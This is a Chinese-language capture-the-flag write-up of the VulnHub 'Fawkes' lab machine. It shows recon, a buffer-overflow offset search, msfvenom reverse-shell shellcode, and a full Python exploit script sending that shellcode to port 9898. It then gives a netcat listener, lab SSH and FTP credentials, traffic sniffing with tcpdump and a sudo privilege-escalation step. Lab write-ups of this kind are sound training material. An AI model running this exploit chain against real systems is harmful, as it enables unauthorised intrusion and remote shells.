vuln-Fawks打靶

环境

靶场来自 https://www.vulnhub.com/entry/harrypotter-fawkes,686/

攻击机:kali 192.168.31.118 靶机:192.168.31.132

信息收集

对靶机进行信息收集

用nmap -A扫描后发现2222也是ssh端口,9898端口无法访问

先扫描一下路径,什么都没有

回到21端口发现存在匿名用户登录

ftp匿名登录

发现一个 文件,下载下来看看

用cat查看是乱码,用file看看是个什么东西

缓存区溢出

缓存区溢出漏洞

缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

而缓存区溢出漏洞最重要的就是找出缓存区溢出的位置,这里我们使用edb-debugger调试工具来动态测试server_hogwarts进程并找出缓存区溢出漏洞的溢出位置

发现是一个elf可执行文件,给一个执行权限执行看看,没有回显

看看进程,到底是个啥东西

1
2
3
4
5
ps -aux | grep server
显示名字包含server的所有进程

ss -pantu | grep server
用ss查看已经建立的并且名字带有server的连接信息,ss 命令可以用来获取 socket 信息

发现在本地的9898端口起了一个服务,和最开始nmap扫描出的9898端口一致,暂时不知道用处,监听看看

输入都无效,到这里思路已经没了,去网上看了公开的wp ,打死没想到这里是缓冲区溢出。。。知识盲点

edb-debugger调试

edb-debugger是一个跨平台的 AArch32 / x86 / x86-64 调试器

关闭防护

我们是通过ftp服务下载server_hogwarts到本地来调试,目的就是找出它的缓存溢出位置,但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置。所以要关闭。

cd到**/proc/sys/kernel目录下把randomize_va_space改成0**即可

安装edb-debugger

1
2
apt-get update
apt-get install edb-debugger

等跑完选确定

开始调试

前面的端口不要断,打开edb,直接在控制台输入edb

选中刚刚的进程,点击确定

再点击运行,就可以开始调试了

确认漏洞

因为我们要来调试缓存区溢出,先构造一些数据,用Python来构造一些脏数据

1
python3 -c "print('asd'*500)"

粘贴到输入框,发现报错

已经调试到了错误位置,即确实存在代码溢出漏洞

寻找溢出位置

确认了存在缓存区溢出,就需要找到溢出位置,这里不能生成一样的数据,因为需要通过报错来判断溢出位置

1
msf-pattern_create -l 500

重启edb,重复上面的操作,然后将生成的随机字符丢进去

此时的报错提示我们0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置,我们来找一下这个内存位置在输入区的位置

查询溢出位置

1
msf-pattern_offset -l 500 -q 64413764

可以看到偏移量为112,所以64413764就是在113个位置

看别的师傅公开的wp后面的内容真看不懂,直接跳过生成payload

构造payload

这个生成的payload就是我们用来放进ESP并执行的反弹shell代码,但注意这里需要16进制的payload

1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.31.118 LPORT=4444 -b "\x00" -f python

根据这个payload写一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys,socket
buf = b""
buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30"
buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d"
buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee"
buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd"
buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd"
buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41"
buf += b"\x93\x1c\xc9\x02"

payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:
s=socket.socket()
s.connect(('192.168.31.132',9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()

这里connect连接的是靶机的9898端口

反弹shell

用nc监听本地4444端口,也就是一开始msf生成的payload端口再执行exp

1
2
nc -lnvp 4444
python2 ./exp.py

收到shell

反弹一个半交互式shell,发现没python用bash

1
/bin/sh -i

发现一个隐藏文件,发现一串字符串

提权

容器提权

目录下这个文件没有执行权,不知道是什么东西

用刚刚的字符串尝试一下ssh,发现密码错误,但是2222端口还有一个ssh,继续尝试,发现成功登录

1
harry HarrYp0tter@Hogwarts123

发现这个名字,似乎是一个编号,查看ip和我们最开始访问的192.168.31.132不同,似乎是docker容器

判断是否为docker环境,进一步确认

1
2
ls -alh /.dockerenv #查看是否存dockerrnv文件
cat /proc/1/cgroup #查看系统进程的cgroup信息

继续信息收集,suid和sudo

发现sudo -l 为all,可以直接执行sudo -s拿到root权限

发现flag和一串提示,意思是有人登录ftp,让我们分析流量

用tcpdump去分析

1
tcpdump -i eth0 port 21

发现一个账号密码

1
2
账号:neville
密码: bL!Bsg3k

宿主机提权

尝试登录ssh,22端口应该是宿主机的ssh端口,2222是容器的端口被映射出来

这里ip正确,是宿主机

找到第二个flag

提全三板斧,suid sudo 内核均无果,看了wp发现是sudo存在漏洞可以提权

找到exp,靶机出网就wget,不出网直接复制下来替换sudo路径

执行exp

参考来自:这位师傅的wp链接